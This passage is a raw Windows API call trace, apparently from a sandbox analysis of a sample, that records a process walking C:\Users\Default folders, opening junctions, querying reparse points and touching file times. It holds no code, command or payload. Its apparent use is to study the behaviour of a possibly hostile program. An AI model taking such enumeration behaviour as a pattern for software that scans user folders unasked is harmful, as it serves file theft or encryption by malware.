ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.013] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0093.013] GetLastError () returned 0x12 [0093.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.013] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0093.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0093.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.014] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="")) returned 1 [0093.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.014] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\PrintHood" (normalized: "c:\\users\\default\\printhood"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.014] CreateFileW (lpFileName="C:\\Users\\Default\\PrintHood" (normalized: "c:\\users\\default\\printhood"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0093.015] GetLastError () returned 0x5 [0093.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0093.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.016] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0093.016] GetLastError () returned 0x5 [0093.016] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0093.016] GetLastError () returned 0x5 [0093.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0093.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.017] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0093.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.017] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Recent" (normalized: "c:\\users\\default\\recent"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.017] CreateFileW (lpFileName="C:\\Users\\Default\\Recent" (normalized: "c:\\users\\default\\recent"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0093.017] GetLastError () returned 0x5 [0093.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0093.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.018] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Recent\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0093.018] GetLastError () returned 0x5 [0093.018] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Recent\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0093.019] GetLastError () returned 0x5 [0093.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0093.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.019] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="")) returned 1 [0093.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.020] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Saved Games" (normalized: "c:\\users\\default\\saved games"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.020] CreateFileW (lpFileName="C:\\Users\\Default\\Saved Games" (normalized: "c:\\users\\default\\saved games"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0093.020] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0093.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0093.020] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0093.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0093.021] NtClose (Handle=0x164) returned 0x0 [0093.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0093.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.022] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0093.022] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.022] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9918 [0093.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdc70 [0093.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.024] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0093.024] GetLastError () returned 0x12 [0093.024] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9200 [0093.024] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0093.024] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.025] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.025] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0093.025] GetLastError () returned 0x12 [0093.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.025] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0093.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0093.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.026] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0093.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.026] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Searches" (normalized: "c:\\users\\default\\searches"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.026] CreateFileW (lpFileName="C:\\Users\\Default\\Searches" (normalized: "c:\\users\\default\\searches"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0093.026] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0093.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0093.027] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0093.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0093.027] NtClose (Handle=0x184) returned 0x0 [0093.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0093.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.028] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Searches\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9200 [0093.030] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.030] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9938 [0093.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdcf8 [0093.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.032] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="")) returned 1 [0093.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9958 [0093.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdd80 [0093.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.034] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="")) returned 1 [0093.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9978 [0093.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fde08 [0093.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.036] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="")) returned 0 [0093.036] GetLastError () returned 0x12 [0093.036] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Searches\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0093.037] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0093.037] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.037] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.037] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="")) returned 1 [0093.037] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="")) returned 1 [0093.037] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="")) returned 0 [0093.037] GetLastError () returned 0x12 [0093.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.037] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0093.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0093.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.038] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0093.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.039] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\SendTo" 